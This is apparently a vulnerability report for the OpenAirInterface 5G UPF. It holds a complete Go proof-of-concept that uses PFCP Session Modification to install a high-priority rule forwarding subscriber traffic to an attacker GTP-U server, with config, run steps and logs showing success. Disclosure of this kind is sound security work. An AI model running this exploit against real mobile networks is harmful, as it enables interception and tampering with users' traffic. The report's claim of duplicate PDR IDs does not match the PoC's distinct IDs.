[Bug] UPF allows PFCP Session Modification to hijack user traffic via duplicate PDR ID and higher precedence
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=No
Description
The UPF is vulnerable to traffic hijacking when an attacker can send Session Modification Requests that introduce:
- A duplicate PDR ID (same PDR ID as an existing rule), and
- A smaller Precedence value (higher priority) pointing to a malicious FAR that forwards traffic to an attacker-controlled server.
From the current implementation:
- PDRs are stored and sorted by Precedence using < (lower Precedence = higher priority).
- During packet processing, the UPF iterates over the PDR list and returns on the first match, applying the associated FAR.
- There is no strict uniqueness check on PDR IDs, and update() style logic may only update the first matching PDR, leaving other duplicated PDRs (with same ID, different Precedence/FAR) untouched.
As a result, an attacker who can send PFCP Session Modification can:
- Remove or shadow an existing PDR ID, then
- Create multiple PDRs with the same PDR ID, where one is benign and one is malicious, but the malicious one has a lower Precedence, and
- Create a FAR that forwards traffic (e.g. via Outer Header Creation) to an attacker IP/TEID.
During data plane processing, the malicious higher-priority PDR is matched first, and its FAR is applied, so user traffic is forwarded to the attacker.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: off # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"
Steps to reproduce
-
Start a new go project inside a new folder: go mod init poc
-
Create a main.go and paste the code below:
package main /* * POC: Traffic hijacking - packets are routed to an attacker-controlled server * * Vulnerability description: * An attacker can create a malicious PDR with a smaller Precedence value * (higher priority), and configure a malicious FAR that forwards traffic * to an attacker-controlled server. Because PDRs with smaller Precedence * are matched first, packets will be routed to the attacker server. * * Trigger conditions: * 1. A normal session is established. * 2. The attacker sends a Session Modification Request that: * - creates a malicious PDR with smaller Precedence (higher priority) * - configures a malicious FAR to forward traffic to the attacker server * 3. When packets arrive, the malicious PDR is matched first. * 4. Packets are routed to the attacker-controlled server. * * Attack scenarios: * - Man-in-the-middle: attacker server receives all traffic and can modify responses * - DNS hijacking: route DNS queries to attacker-controlled DNS server * - HTTP/HTTPS proxy: modify responses, inject malicious content * * Reference code: * - pfcp_pdr.hpp:198-199 (operator< based on Precedence) * - pfcp_switch.cpp:581-592 (sorting by Precedence) * - pfcp_switch.cpp:1220-1241 (packet handling, first match uses highest-priority PDR) */ import ( "encoding/hex" "flag" "fmt" "log" "math/rand" "net" "time" "github.com/wmnsk/go-pfcp/ie" "github.com/wmnsk/go-pfcp/message" ) const ( defaultPFCPPort = 8805 defaultTimeout = 10 * time.Second ) type trafficHijackingClient struct { nodeIP net.IP cpSeid uint64 seq uint32 attackerIP net.IP // attacker server IP attackerTEID uint32 // attacker TEID } func (c *trafficHijackingClient) nextSeq() uint32 { c.seq++ if c.seq == 0 || c.seq > 0x00ffffff { c.seq = 1 } return c.seq } func (c *trafficHijackingClient) baseSessIEs(dnn string) []*ie.IE { return []*ie.IE{ ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewFSEID(c.cpSeid, c.nodeIP, nil), ie.NewPDNType(ie.PDNTypeIPv4), } } func (c *trafficHijackingClient) sendAssociation(conn *net.UDPConn) error { req := message.NewAssociationSetupRequest( c.nextSeq(), ie.NewNodeID(c.nodeIP.String(), "", ""), ie.NewRecoveryTimeStamp(time.Now()), ie.NewCPFunctionFeatures(0x3f), ) payload, err := req.Marshal() if err != nil { return fmt.Errorf("marshal association: %w", err) } if _, err := conn.Write(payload); err != nil { return fmt.Errorf("send association: %w", err) } log.Printf("Sent Association Setup Request") time.Sleep(500 * time.Millisecond) return nil } func (c *trafficHijackingClient) buildValidSession(dnn string) (*message.SessionEstablishmentRequest, error) { // Build a normal session containing one uplink PDR (benign configuration) pdrUplink := ie.NewCreatePDR( ie.NewPDRID(1), ie.NewPrecedence(100), // normal precedence ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewNetworkInstance(dnn), ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0), ), ie.NewFARID(1), ) // FAR for uplink (benign configuration, forward to Core) farUplink := ie.NewCreateFAR( ie.NewFARID(1), ie.NewApplyAction(0x02), // FORW (Forward) ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceCore), // Core = 1 ), ) payload := append([]*ie.IE{}, c.baseSessIEs(dnn)...) payload = append(payload, pdrUplink, farUplink) return message.NewSessionEstablishmentRequest(0, 0, c.cpSeid, c.nextSeq(), 0, payload...), nil } func (c *trafficHijackingClient) buildSessionModificationTrafficHijacking(upfSeid uint64) (*message.SessionModificationRequest, error) { // Attack strategy: // 1. Remove the existing PDR // 2. Create a malicious PDR with smaller Precedence (higher priority) // 3. Configure a malicious FAR that forwards traffic to the attacker server // Remove existing PDR removePDR1 := ie.NewRemovePDR(ie.NewPDRID(1)) // Malicious PDR: Precedence=10 (higher priority, will be matched first) // ⚠️ Key: smaller Precedence means higher priority, so this PDR is matched first maliciousPDR := ie.NewCreatePDR( ie.NewPDRID(2), // new PDR ID ie.NewPrecedence(10), // ⚠️ Precedence=10 (smaller than normal 100, thus higher priority) ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewNetworkInstance("internet"), ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0), ), ie.NewFARID(2), // ⚠️ points to malicious FAR ) // Normal PDR: Precedence=100 (lower priority, matched later) normalPDR := ie.NewCreatePDR( ie.NewPDRID(3), ie.NewPrecedence(100), // normal precedence ie.NewPDI( ie.NewSourceInterface(ie.SrcInterfaceAccess), ie.NewNetworkInstance("internet"), ie.NewFTEID(0x01, 0, net.IPv4(0, 0, 0, 0), nil, 0), ), ie.NewFARID(1), // normal FAR ) // Malicious FAR: forwards traffic to the attacker server // ⚠️ Key: configure Outer Header Creation to forward traffic to attacker maliciousFAR := ie.NewCreateFAR( ie.NewFARID(2), ie.NewApplyAction(0x02), // FORW (Forward) ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceAccess), // Access = 0 // ⚠️ Outer Header Creation: encapsulate and forward traffic to attacker server // 0x0100 = OUTER_HEADER_CREATION_GTPU_UDP_IPV4 per 3GPP 29.244 / OAI implementation ie.NewOuterHeaderCreation( 0x0100, c.attackerTEID, // ⚠️ attacker TEID c.attackerIP.String(), // ⚠️ attacker server IPv4 "", // IPv6 (not used) 0, // Port (not used for GTP-U) 0, // V4 (not used) 0, // V6 (not used) ), ), ) // Normal FAR: forward to Core (benign configuration) normalFAR := ie.NewCreateFAR( ie.NewFARID(1), ie.NewApplyAction(0x02), // FORW (Forward) ie.NewForwardingParameters( ie.NewDestinationInterface(ie.DstInterfaceCore), // Core = 1 ), ) // Build message: remove the old PDR, then create malicious and normal PDRs // ⚠️ Key: malicious PDR has smaller Precedence, so it will be matched first return message.NewSessionModificationRequest( 0, 0, upfSeid, c.nextSeq(), 0, ie.NewFSEID(c.cpSeid, c.nodeIP, nil), removePDR1, // remove old PDR maliciousPDR, // ⚠️ malicious PDR (Precedence=10, higher priority) normalPDR, // normal PDR (Precedence=100, lower priority) maliciousFAR, // ⚠️ malicious FAR (forwards to attacker server) normalFAR, // normal FAR ), nil } // Manually extract SEID from raw PFCP message func extractSEIDFromRaw(raw []byte) (uint64, error) { if len(raw) < 8 { return 0, fmt.Errorf("message too short") } hasSEID := (raw[0] & 0x01) != 0 if !hasSEID { return 0, fmt.Errorf("message does not contain SEID") } if len(raw) < 12 { return 0, fmt.Errorf("message too short for SEID") } seid := uint64(raw[4])<<56 | uint64(raw[5])<<48 | uint64(raw[6])<<40 | uint64(raw[7])<<32 | uint64(raw[8])<<24 | uint64(raw[9])<<16 | uint64(raw[10])<<8 | uint64(raw[11]) return seid, nil } func parseSessionEstablishmentResponse(raw []byte) (uint64, error) { // Search for F-SEID IE (0x00 0x39) for i := 0; i < len(raw)-4; i++ { if raw[i] == 0x00 && raw[i+1] == 0x39 { if i+12 < len(raw) { ieLength := uint16(raw[i+2])<<8 | uint16(raw[i+3]) if i+4+int(ieLength) <= len(raw) { seid := uint64(raw[i+5])<<56 | uint64(raw[i+6])<<48 | uint64(raw[i+7])<<40 | uint64(raw[i+8])<<32 | uint64(raw[i+9])<<24 | uint64(raw[i+10])<<16 | uint64(raw[i+11])<<8 | uint64(raw[i+12]) log.Printf("Extracted UPF SEID from F-SEID IE: 0x%x", seid) return seid, nil } } } } // Try to parse using go-pfcp library msg, err := message.Parse(raw) if err != nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID from message header: 0x%x", seid) return seid, nil } return 0, fmt.Errorf("parse PFCP message: %w", err) } msgType := msg.MessageType() msgTypeName := msg.MessageTypeName() log.Printf("Received PFCP message: Type=%d (%s)", msgType, msgTypeName) if msgType == 6 || msgTypeName == "SessionEstablishmentResponse" { if resp, ok := msg.(*message.SessionEstablishmentResponse); ok { if resp.UPFSEID != nil { fseid, err := resp.UPFSEID.FSEID() if err == nil { return fseid.SEID, nil } } if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually: 0x%x", seid) return seid, nil } } } if msgType != message.MsgTypeSessionEstablishmentResponse && msgType != 6 { return 0, fmt.Errorf("unexpected PFCP message type %d (%s), expected SessionEstablishmentResponse (5)", msgType, msgTypeName) } resp, ok := msg.(*message.SessionEstablishmentResponse) if !ok { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (type conversion failed): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("failed to cast message to SessionEstablishmentResponse (type=%d, %s)", msgType, msgTypeName) } if resp.Cause != nil { cause, err := resp.Cause.Cause() if err == nil && cause != 1 { return 0, fmt.Errorf("session establishment failed: cause=%d", cause) } } if resp.UPFSEID == nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (UPFSEID IE missing): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("missing UPF SEID IE in response") } fseid, err := resp.UPFSEID.FSEID() if err != nil { if seid, err2 := extractSEIDFromRaw(raw); err2 == nil { log.Printf("Extracted UPF SEID manually (FSEID extraction failed): 0x%x", seid) return seid, nil } return 0, fmt.Errorf("extract UPF SEID: %w", err) } return fseid.SEID, nil } func main() { var ( target = flag.String("target", "127.0.0.1:8805", "UPF PFCP endpoint") nodeIPStr = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4") dnn = flag.String("dnn", "internet", "Network Instance / DNN") dump = flag.Bool("dump", false, "Dump crafted PFCP bytes") upfSeid = flag.Uint64("upf-seid", 0, "UPF SEID (skip session establishment if provided)") attackerIPStr = flag.String("attacker-ip", "192.168.1.200", "Attacker server IP address") attackerTEID = flag.Uint("attacker-teid", 0x12345678, "Attacker TEID") ) flag.Parse() nodeIP := net.ParseIP(*nodeIPStr) if nodeIP == nil { log.Fatalf("invalid node-ip: %s", *nodeIPStr) } attackerIP := net.ParseIP(*attackerIPStr) if attackerIP == nil { log.Fatalf("invalid attacker-ip: %s", *attackerIPStr) } addr, err := net.ResolveUDPAddr("udp", *target) if err != nil { log.Fatalf("resolve UDP addr: %v", err) } conn, err := net.DialUDP("udp", nil, addr) if err != nil { log.Fatalf("dial PFCP: %v", err) } defer conn.Close() rand.Seed(time.Now().UnixNano()) cpSeid := uint64(rand.Uint32())<<32 | uint64(rand.Uint32()) client := &trafficHijackingClient{ nodeIP: nodeIP, cpSeid: cpSeid, seq: uint32(rand.Intn(0x00ffffff)), attackerIP: attackerIP, attackerTEID: uint32(*attackerTEID), } // Step 1: Association Setup if err := client.sendAssociation(conn); err != nil { log.Printf("association setup failed: %v", err) } conn.SetReadDeadline(time.Now().Add(2 * time.Second)) assocBuf := make([]byte, 2048) if n, err := conn.Read(assocBuf); err == nil { log.Printf("Received Association Setup Response (%d bytes)", n) } else { log.Printf("No Association Setup Response received (continuing anyway): %v", err) } time.Sleep(500 * time.Millisecond) // Step 2: Session Establishment (build a normal session) var upfSeidValue uint64 if *upfSeid != 0 { upfSeidValue = *upfSeid log.Printf("Using provided UPF SEID: 0x%x", upfSeidValue) log.Printf("Skipping Session Establishment Request") } else { estReq, err := client.buildValidSession(*dnn) if err != nil { log.Fatalf("build session: %v", err) } payload, err := estReq.Marshal() if err != nil { log.Fatalf("marshal session: %v", err) } if *dump { fmt.Printf("Session Establishment Request (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send session: %v", err) } log.Printf("Sent Session Establishment Request (F-SEID=0x%x)", client.cpSeid) log.Printf(" - PDR 1: Uplink (Precedence=100, normal configuration)") conn.SetReadDeadline(time.Now().Add(defaultTimeout)) buf := make([]byte, 2048) n, err := conn.Read(buf) if err != nil { log.Printf("ERROR: Failed to read session response: %v", err) log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag") log.Fatalf("Cannot proceed without UPF SEID") } if *dump { fmt.Printf("Session Establishment Response (%d bytes):\n%s\n", n, hex.Dump(buf[:n])) } upfSeidValue, err = parseSessionEstablishmentResponse(buf[:n]) if err != nil { log.Printf("WARNING: Failed to parse session response: %v", err) if len(buf) >= 12 && (buf[0]&0x01) != 0 { seid := uint64(buf[4])<<56 | uint64(buf[5])<<48 | uint64(buf[6])<<40 | uint64(buf[7])<<32 | uint64(buf[8])<<24 | uint64(buf[9])<<16 | uint64(buf[10])<<8 | uint64(buf[11]) log.Printf("Extracted SEID from message header: 0x%x", seid) upfSeidValue = seid err = nil } else { log.Printf("HINT: You can manually provide UPF SEID using -upf-seid flag") log.Fatalf("Cannot proceed without UPF SEID") } } if err == nil { log.Printf("✓ Successfully extracted UPF SEID: 0x%x", upfSeidValue) } time.Sleep(500 * time.Millisecond) } // Step 3: Session Modification - create malicious PDR and FAR to route traffic to attacker log.Printf("") log.Printf("=== Traffic Hijacking Attack ===") log.Printf("Strategy: Create malicious PDR with higher priority (Precedence=10)") log.Printf(" Configure malicious FAR to forward traffic to attacker server") log.Printf("Expected: Data packets will be routed to attacker server (%s)", *attackerIPStr) log.Printf("") log.Printf("Attack Details:") log.Printf(" - Malicious PDR: ID=2, Precedence=10 (higher priority)") log.Printf(" - Normal PDR: ID=3, Precedence=100 (lower priority)") log.Printf(" - Malicious FAR: ID=2, forwards to attacker server (%s, TEID=0x%x)", *attackerIPStr, *attackerTEID) log.Printf(" - Normal FAR: ID=1, forwards to Core (normal)") log.Printf("") log.Printf("Expected Behavior:") log.Printf(" - Data packets will match malicious PDR first (Precedence=10)") log.Printf(" - Traffic will be routed to attacker server via malicious FAR") log.Printf(" - Attacker can intercept, modify, or redirect traffic") modReq, err := client.buildSessionModificationTrafficHijacking(upfSeidValue) if err != nil { log.Fatalf("build modification: %v", err) } payload, err := modReq.Marshal() if err != nil { log.Fatalf("marshal modification: %v", err) } if *dump { fmt.Printf("Session Modification Request (Traffic Hijacking) (%d bytes):\n%s\n", len(payload), hex.Dump(payload)) } if _, err := conn.Write(payload); err != nil { log.Fatalf("send modification: %v", err) } log.Printf("[TRAFFIC_HIJACKING] Sent Session Modification Request") log.Printf(" - Remove PDR 1 (old PDR)") log.Printf(" - Create PDR 2 (malicious, Precedence=10) ⚠️") log.Printf(" - Create PDR 3 (normal, Precedence=100)") log.Printf(" - Create FAR 2 (malicious, forwards to %s) ⚠️", *attackerIPStr) log.Printf(" - Create FAR 1 (normal, forwards to Core)") log.Printf("") log.Printf("Expected: UPF will accept the modification") log.Printf(" Data packets will be routed to attacker server (%s)", *attackerIPStr) log.Printf(" Attacker can intercept and modify traffic") // Wait for response conn.SetReadDeadline(time.Now().Add(defaultTimeout)) buf := make([]byte, 2048) n, err := conn.Read(buf) if err != nil { log.Printf("No response received: %v", err) log.Printf("⚠ UPF may have rejected the modification or crashed") } else { log.Printf("Received response: %d bytes", n) if *dump { fmt.Printf("Response:\n%s\n", hex.Dump(buf[:n])) } // 尝试解析响应 msg, err := message.Parse(buf[:n]) if err == nil { msgType := msg.MessageType() msgTypeName := msg.MessageTypeName() log.Printf("Response message type: %d (%s)", msgType, msgTypeName) if resp, ok := msg.(*message.SessionModificationResponse); ok { if resp.Cause != nil { cause, err := resp.Cause.Cause() if err == nil { if cause == 1 { log.Printf("✓ Session Modification accepted (cause=1)") log.Printf("") log.Printf("⚠️ TRAFFIC HIJACKING SUCCESSFUL!") log.Printf(" Data packets will now be routed to attacker server (%s)", *attackerIPStr) log.Printf(" Attacker can intercept, modify, or redirect traffic") } else { log.Printf("⚠ Session Modification rejected (cause=%d)", cause) } } } } } } log.Printf("") log.Printf("=== Next Steps ===") log.Printf("To verify traffic hijacking:") log.Printf("1. Set up a server at %s to receive GTP-U packets", *attackerIPStr) log.Printf("2. Send test data packets through the UPF") log.Printf("3. Verify that packets are received at attacker server") log.Printf("4. Attacker can then modify responses or redirect traffic") } -
Download required libraries:
go mod tidy -
Run the program with the upf pfcp server address:
go run poc_traffic_hijacking.go -target 192.168.70.134:8805
Logs
[2025-12-02 14:20:11.031] [upf_n4 ] [info] handle_receive(30 bytes)
[2025-12-02 14:20:11.031] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-02 14:20:11.468] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 14:20:11.468] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 14:20:12.033] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-02 14:20:12.033] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xb95b2c949e17b12b
[2025-12-02 14:20:12.033] [upf_n4 ] [info] pfcp_session::add(far) seid 0x3
[2025-12-02 14:20:12.033] [upf_n4 ] [info] TEID received from CP
[2025-12-02 14:20:12.033] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x3
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions: |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
| SEID |pdr | far |predence| action | create outer hdr tun id| rmv outer hdr tun id| UE IPv4 | |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000002|0001|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000003|0001|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[2025-12-02 14:20:12.534] [upf_n4 ] [info] handle_receive(229 bytes)
[2025-12-02 14:20:12.534] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x3
[2025-12-02 14:20:12.534] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::remove(pdr) seid 0x3
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::add(far) seid 0x3
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::add(far) seid 0x3
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::update(far) seid 0x3
[2025-12-02 14:20:12.534] [upf_n4 ] [info] TEID received from CP
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x3
[2025-12-02 14:20:12.534] [upf_n4 ] [info] TEID received from CP
[2025-12-02 14:20:12.534] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x3
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions: |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
| SEID |pdr | far |predence| action | create outer hdr tun id| rmv outer hdr tun id| UE IPv4 | |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000002|0001|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|0000000000000003|0002|00000002|0000000a|ACC>---->ACC|GTPU_UDP_IPV4:192.168.1.200 :12345678|none ||
|0000000000000003|0003|00000001|00000064|ACC>---->COR|none |none ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Expected Behaviour
- PDR IDs must be unique within a PFCP session:
- On CreatePDR, if a PDR with the same PDR ID already exists, the UPF should reject the request or clearly define and enforce consistent semantics (e.g. fully replace the existing PDR, not allow multiple entries with same ID).
Observed Behaviour
- The UPF currently allows multiple PDRs with the same PDR ID to co-exist in a session.
- When the PDR list is sorted by Precedence (lower value first), a malicious PDR with:
- the same PDR ID as an existing one, and
- a smaller Precedence (higher priority), and
- a FAR that forwards to an attacker GTP-U endpoint will be evaluated before the legitimate PDR.
- During packet processing:
- The first matching PDR is used (look_up_pack_in_access returns on first hit), and
- The corresponding FAR is applied, causing traffic to be forwarded to the attacker.
Edited by Ziyu Lin